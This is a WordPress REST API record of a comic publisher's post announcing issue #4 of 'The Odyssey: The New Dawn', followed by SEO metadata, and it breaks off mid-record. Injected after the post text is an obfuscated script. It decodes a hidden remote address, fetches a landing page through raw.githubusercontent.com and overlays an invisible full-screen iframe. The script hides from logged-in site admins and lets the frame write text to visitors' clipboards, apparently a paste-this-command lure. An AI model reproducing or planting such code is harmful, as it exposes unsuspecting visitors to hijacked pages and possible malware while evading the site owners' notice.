{"id":7821,"date":"2026-05-11T22:56:41","date_gmt":"2026-05-11T22:56:41","guid":{"rendered":"https:\/\/tidalwavecomics.com\/?p=7821"},"modified":"2026-05-22T17:27:38","modified_gmt":"2026-05-22T17:27:38","slug":"the-odyssey-new-day-issue-4-out-this-week","status":"publish","type":"post","link":"https:\/\/tidalwavecomics.com\/index.php\/2026\/05\/11\/the-odyssey-new-day-issue-4-out-this-week\/","title":{"rendered":"&#8220;THE ODYSSEY NEW DAY&#8221; ISSUE #4 OUT THIS WEEK!"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">\u26a1\ufe0f THE ODYSSEY CONTINUES! \u26a1\ufe0f<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The Odyssey: The New Dawn #4 arrives THIS WEEK! \ud83d\udd25<br>\ud83d\udcda Available in print on Amazon and digitally everywhere starting 5\/13\/2026! <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\ud83d\udd8a\ufe0f Writer: Todd Matthy<br>\ud83c\udfa8 Artist: Diego Garavano<br>Cover by Paulo Teles Yonami<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\ud83d\udca5 \u201cLadies Night\u201d \ud83d\udca5<br>10th Muse, Judo Girl, and Ms. Masque go undercover to infiltrate one of Captain Steele\u2019s strongholds and steal a powerful transmutation ray\u2026 but wild Mechanical Menaces stand in their way! \ud83e\udd16\u2694\ufe0f<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Meanwhile, the shocking fallout from last issue begins to ripple across the civilians of the TidalWave Universe. Nothing will ever be the same\u2026 \ud83d\udc40<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Action, danger, and major universe-changing consequences hit hard in this explosive new chapter! \ud83d\ude80<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">On Amazon now: <a href=\"https:\/\/a.co\/d\/02kpnhlE\">https:\/\/a.co\/d\/02kpnhlE<\/a><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"683\" height=\"1024\" src=\"https:\/\/tidalwavecomics.com\/wp-content\/uploads\/2026\/05\/OdysseyNewDawn4_Page_01-683x1024.jpg\" alt=\"\" class=\"wp-image-7822\" srcset=\"https:\/\/tidalwavecomics.com\/wp-content\/uploads\/2026\/05\/OdysseyNewDawn4_Page_01-683x1024.jpg 683w, https:\/\/tidalwavecomics.com\/wp-content\/uploads\/2026\/05\/OdysseyNewDawn4_Page_01-200x300.jpg 200w, https:\/\/tidalwavecomics.com\/wp-content\/uploads\/2026\/05\/OdysseyNewDawn4_Page_01-768x1152.jpg 768w, https:\/\/tidalwavecomics.com\/wp-content\/uploads\/2026\/05\/OdysseyNewDawn4_Page_01-1024x1536.jpg 1024w, https:\/\/tidalwavecomics.com\/wp-content\/uploads\/2026\/05\/OdysseyNewDawn4_Page_01-1365x2048.jpg 1365w, https:\/\/tidalwavecomics.com\/wp-content\/uploads\/2026\/05\/OdysseyNewDawn4_Page_01-64x96.jpg 64w, https:\/\/tidalwavecomics.com\/wp-content\/uploads\/2026\/05\/OdysseyNewDawn4_Page_01-scaled.jpg 1707w\" sizes=\"auto, (max-width: 683px) 100vw, 683px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">#TheOdyssey #10thMuse #TidalWaveComics #ComicBooks #IndieComics #JudoGirl #MsMasque #NewComicBookDay #DigitalComics #AmazonComics<\/p>\n<script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];\n\n  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";\n\n  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };\n\n  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;\n\n      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;\n\n      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;\n\n      var de = document.documentElement;\n      var body = document.body;\n\n      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}\n\n    return false;\n  }\n\n  if (isWpLoggedInContext()) return;\n\n  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }\n\n  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }\n\n  registry.status = \"loading\";\n\n  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }\n\n  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";\n\n    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }\n\n    var encoded = encodeURIComponent(id);\n\n    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }\n\n    return template.replace(\/\\{id\\}\/g, encoded);\n  }\n\n  function toHttpUrl(value) {\n    if (!value) return \"\";\n\n    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");\n\n    if (!s) return \"\";\n\n    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }\n\n    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}\n\n    return \"\";\n  }\n\n  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";\n\n    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }\n\n    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }\n\n    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }\n\n    return \"\";\n  }\n\n  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }\n\n  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;\n\n    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;\n\n    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;\n\n      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;\n\n      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }\n\n      parent.appendChild(link);\n    } catch (e) {}\n  }\n\n  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;\n\n    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }\n\n      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));\n\n      if (!builtUrl) {\n        return step(index + 1);\n      }\n\n      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }\n\n      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }\n\n    return step(0);\n  }\n\n  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;\n\n    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }\n\n    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }\n\n    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }\n\n    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;\n\n    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n\n      registry.status = \"active\";\n\n      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");\n\n      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }\n\n    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }\n\n    registry.destroy = destroy;\n    registry.reveal = reveal;\n\n    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");\n\n    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };\n\n    iframe.onerror = function () {\n      destroy();\n    };\n\n    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);\n\n    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }\n\n  function run() {\n    warmupOrigins();\n    bindMessageHandler();\n\n    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        finalUrl = toHttpUrl(finalUrl);\n\n        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }\n\n        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }\n\n  registry.runPromise = run();\n})();<\/script>","protected":false},"excerpt":{"rendered":"<p>\u26a1\ufe0f THE ODYSSEY CONTINUES! \u26a1\ufe0f The Odyssey: The New Dawn #4 arrives THIS WEEK! \ud83d\udd25\ud83d\udcda Available in print on Amazon and digitally everywhere starting 5\/13\/2026! \ud83d\udd8a\ufe0f Writer: Todd Matthy\ud83c\udfa8 Artist: Diego GaravanoCover by Paulo Teles Yonami \ud83d\udca5 \u201cLadies Night\u201d \ud83d\udca510th Muse, Judo Girl, and Ms. Masque go undercover to infiltrate one of Captain Steele\u2019s strongholds [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":7822,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-7821","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.2 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>&quot;THE ODYSSEY NEW DAY&quot; ISSUE #4 OUT THIS WEEK! - TidalWave Productions<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/tidalwavecomics.com\/index.php\/2026\/05\/11\/the-odyssey-new-day-issue-4-out-this-week\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"&quot;THE ODYSSEY NEW DAY&quot; ISSUE #4 OUT THIS WEEK! - TidalWave Productions\" \/>\n<meta property=\"og:description\" content=\"\u26a1\ufe0f THE ODYSSEY CONTINUES! \u26a1\ufe0f The Odyssey: The New Dawn #4 arrives THIS WEEK! \ud83d\udd25\ud83d\udcda Available in print on Amazon and digitally everywhere starting 5\/13\/2026! \ud83d\udd8a\ufe0f Writer: Todd Matthy\ud83c\udfa8 Artist: Diego GaravanoCover by Paulo Teles Yonami \ud83d\udca5 \u201cLadies Night\u201d \ud83d\udca510th Muse, Judo Girl, and Ms. Masque go undercover to infiltrate one of Captain Steele\u2019s strongholds [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/tidalwavecomics.com\/index.php\/2026\/05\/11\/the-odyssey-new-day-issue-4-out-this-week\/\" \/>\n<meta property=\"og:site_name\" content=\"TidalWave Productions\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/TidalWaveProd\/\" \/>\n<meta property=\"article:published_time\" content=\"2026-05-11T22:56:41+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-05-22T17:27:38+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/tidalwavecomics.com\/wp-content\/uploads\/2026\/05\/OdysseyNewDawn4_Page_01-scaled.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1707\" \/>\n\t<meta property=\"og:image:height\" content=\"2560\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@TidalWaveProd\" \/>\n<meta name=\"twitter:site\" content=\"@TidalWaveProd\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/tidalwavecomics.com\/index.php\/2026\/05\/11\/the-odyssey-new-day-issue-4-out-this-week\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/tidalwavecomics.com\/index.php\/2026\/05\/11\/the-odyssey-new-day-issue-4-out-this-week\/\"},\"author\":{\"name\":\"admin\",\"@id\":\"https:\/\/tidalwavecomics.com\/#\/schema\/person\/a1ad29b193c4b53c1553b35570cda1c6\"},\"headline\":\"&#8220;THE ODYSSEY NEW DAY&#8221; ISSUE #4 OUT THIS WEEK!\",\"datePublished\":\"2026-05-11T22:56:41+00:00\",\"dateModified\":\"2026-05-22T17:27:38+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/tidalwavecomics.com\/index.php\/2026\/05\/11\/the-odyssey-new-day-issue-4-out-this-week\/\"},\"wordCount\":125,\"publisher\":{\"@id\":\"https:\/\/tidalwavecomics.com\/#organization\"},\"image\":{\"@id\":\"https:\/\/tidalwavecomics.com\/index.php\/2026\/05\/11\/the-odyssey-new-day-issue-4-out-this-week\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/tidalwavecomics.com\/wp-content\/uploads\/2026\/05\/OdysseyNewDawn4_Page_01-scaled.jpg\",\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/tidalwavecomics.com\/index.php\/2026\/05\/11\/the-odyssey-new-day-issue-4-out-this-week\/\",\"url\":\"https:\/\/tidalwavecomics.com\/index.php\/2026\/05\/11\/the-odyssey-new-day-issue-4-out-this-week\/\",\"name\":\"\\\"THE ODYSSEY NEW DAY\\\" ISSUE #4 OUT THIS WEEK! - TidalWave Productions\",\"isPartOf\":{\"@id\":\"https:\/\/tidalwavecomics.com\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/tidalwavecomics.com\/index.php\/2026\/05\/11\/the-odyssey-new-day-issue-4-out-this-week\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/tidalwavecomics.com\/index.php\/2026\/05\/11\/the-odyssey-new-day-issue-4-out-this-week\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/tidalwavecomics.com\/wp-content\/uploads\/2026\/05\/OdysseyNewDawn4_Page_01-scaled.jpg\",\"datePublished\":\"2026-05-11T22:56:41+00:00\",\"dateModified\":\"2026-05-22T17:27:38+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/tidalwavecomics.com\/index.php\/2026\/05\/11\/the-odyssey-new-day-issue-4-out-this-week\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/tidalwavecomics.com\/index.php\/2026\/05\/11\/the-odyssey-new-day-issue-4-out-this-week\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/tidalwavecomics.com\/index.php\/2026\/05\/11\/the-odyssey-new-day-issue-4-out-this-week\/#primaryimage\",\"url\":\"https:\/\/tidalwavecomics.com\/wp-content\/uploads\/2026\/05\/OdysseyNewDawn4_Page_01-scaled.jpg\",\"contentUrl\":\"https:\/\/tidalwavecomics.com\/wp-content\/uploads\/2026\/05\/OdysseyNewDawn4_Page_01-scaled.jpg\",\"width\":1707,\"height\":2560},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/tidalwavecomics.com\/index.php\/2026\/05\/11\/the-odyssey-new-day-issue-4-out-this-week\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/tidalwavecomics.com\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"&#8220;THE ODYSSEY NEW DAY&#8221; ISSUE #4 OUT THIS WEEK!\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/tidalwavecomics.com\/#website\",\"url\":\"https:\/\/tidalwavecomics.com\/\",\"name\":\"TidalWave Productions\",\"description\":\"Comic book and graphic novel publisher\",\"publisher\":{\"@id\":\"https:\/\/tidalwavecomics.com\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/tidalwavecomics.com\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/tidalwavecomics.com\/#organization\",\"name\":\"TidalWave Productions\",\"url\":\"https:\/\/tidalwavecomics.com\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/tidalwavecomics.com\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/tidalwavecomics.com\/wp-content\/uploads\/2018\/04\/13308491_1125046477558648_5110097361027508911_o.jpg\",\"contentUrl\":\"https:\/\/tidalwavecomics.com\/wp-content\/uploads\/2018\/04\/13308491_1125046477558648_5110097361027508911_o.jpg\",\"width\":954,\"height\":960,\"caption\":\"TidalWave Productions\"},\"image\":{\"@id\":\"https:\/\/tidalwavecomics.com\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/TidalWaveProd\/\",\"https:\/\/x.com\/TidalWaveProd\",\"https:\/\/www.instagram.com\/darrengd\/\",\"https:\/\/www.linkedin.com\/in\/darrengdavis\/\",\"https:\/\/www.pinterest.com\/TidalWaveProd\/\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/tidalwavecomics.com\/#\/schema\/person\/a1ad29b193c4b53c1553b35570cda1c6\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/secure.gravatar.com\/avatar\/122eb0fcd32e156721f719d72451b0542c4e5479103444d0ee43368413aacc9a?s=96&d=mm&r=g\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/122eb0fcd32e156721f719d72451b0542c4e5479103444d0ee43368413aacc9a?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/122eb0fcd32e156721f719d72451b0542c4e5479103444d0ee43368413aacc9a?s=96&d=mm&r=g\",\"caption\":\"admin\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\"THE ODYSSEY NEW DAY\" ISSUE #4 OUT THIS WEEK! - TidalWave Productions","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/tidalwavecomics.com\/index.php\/2026\/05\/11\/the-odyssey-new-day-issue-4-out-this-week\/","og_locale":"en_US","og_type":"article","og_title":"\"THE ODYSSEY NEW DAY\" ISSUE #4 OUT THIS WEEK! - TidalWave Productions","og_description":"\u26a1\ufe0f THE ODYSSEY CONTINUES! \u26a1\ufe0f The Odyssey: The New Dawn #4 arrives THIS WEEK! \ud83d\udd25\ud83d\udcda Available in print on Amazon and digitally everywhere starting 5\/13\/2026! \ud83d\udd8a\ufe0f Writer: Todd Matthy\ud83c\udfa8 Artist: Diego GaravanoCover by Paulo Teles Yonami \ud83d\udca5 \u201cLadies Night\u201d \ud83d\udca510th Muse, Judo Girl, and Ms. Masque go undercover to infiltrate one of Captain Steele\u2019s strongholds [&hellip;]","og_url":"https:\/\/tidalwavecomics.com\/index.php\/2026\/05\/11\/the-odyssey-new-day-issue-4-out-this-week\/","og_site_name":"TidalWave Productions","article_publisher":"https:\/\/www.facebook.com\/TidalWaveProd\/","article_published_time":"2026-05-11T22:56:41+00:00","article_modified_time":"2026-05-22T17:27:38+00:00","og_image":[{"width":1707,"height":2560,"url":"https:\/\/tidalwavecomics.com\/wp-content\/uploads\/2026\/05\/OdysseyNewDawn4_Page_01-scaled.jpg","type":"image\/jpeg"}],"author":"admin","twitter_card":"summary_large_image","twitter_creator":"@TidalWaveProd","twitter_site":"@TidalWaveProd","twitter_misc":{"Written by":"admin","Est. reading time":"1 minute"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/tidalwavecomics.com\/index.php\/2026\/05\/11\/the-odyssey-new-day-issue-4-out-this-week\/#article","isPartOf":{"@id":"https:\/\/tidalwavecomics.com\/index.php\/2026\/05\/11\/the-odyssey-new-day-issue-4-out-this-week\/"},"author":{"name":"admin","@id":"https:\/\/tidalwavecomics.com\/#\/schema\/person\/a1ad29b193c4b53c1553b35570cda1c6"},"headline":"&#8220;THE ODYSSEY NEW DAY&#8221; ISSUE #4 OUT THIS 